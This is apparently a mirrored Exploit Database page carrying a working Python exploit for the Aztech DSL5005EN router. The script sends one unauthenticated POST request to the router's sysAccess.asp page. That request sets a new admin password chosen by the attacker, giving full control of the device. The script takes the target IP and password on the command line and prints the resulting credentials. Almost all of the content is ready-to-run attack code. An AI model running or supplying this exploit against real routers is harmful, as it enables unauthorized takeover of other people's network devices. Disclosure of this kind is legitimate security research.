Aztech DSL5005EN Router – ‘sysAccess.asp’ Admin Password Change (Unauthenticated)

• Exploit Database
• 15 阅读

• 作者： Amir Hossein Jamshidi
  日期： 2025-03-22
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/52093/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77

  # Exploit Title: Aztech DSL5005EN Router - 'sysAccess.asp' Admin Password Change (Unauthenticated) # Date: 2025-02-26 # Exploit Author: Amir Hossein Jamshidi # Vendor Homepage: https://www.aztech.com # Version: DSL5005EN # Tested on: Linux # CVE: N/A   import requests import argparse   print(''' ################################################################################# # aztech DSL5005EN router/modem - admin password change (Unauthenticated) # # BY: Amir Hossein Jamshidi # # Mail: amirhosseinjamshidi64@gmail.com # # github: https://github.com/amirhosseinjamshidi64# # Usage: python Exploit.py --ip TRAGET_IP --password PASSWORD # ################################################################################# ''')   def change_password(ip_address, password): """ Changes the password of a device at the given IP address.   Args: ip_address: The IP address of the device (e.g., "192.168.1.1"). password: The new password to set. """   url = f"http://{ip_address}/cgi-bin/sysAccess.asp" origin = f"http://{ip_address}" referer = f"http://{ip_address}/cgi-bin/sysAccess.asp"   payload = { "saveFlag": "1", "adminFlag": "1", "SaveBtn": "SAVE", "uiViewTools_Password": password, "uiViewTools_PasswordConfirm": password }   headers = { "Cache-Control": "max-age=0", "Accept-Language": "en-US,en;q=0.9", "Origin": origin, "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": referer, "Connection": "keep-alive" }   try: response = requests.post(url, data=payload, headers=headers, timeout=10)   if response.status_code == 200: print(f"Password change request to {ip_address} successful!") print(f"Username: admin") print(f"Password: {password}") else: print(f"Request to {ip_address} failed with status code: {response.status_code}") print(f"Response content:\n{response.text}")# Print response for debugging   except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")     if __name__ == "__main__": parser = argparse.ArgumentParser(description="Change password of a device.") parser.add_argument("--ip", dest="ip_address", required=True, help="The IP address of the device.") parser.add_argument("--password", dest="password", required=True, help="The new password to set.") args = parser.parse_args()   change_password(args.ip_address, args.password)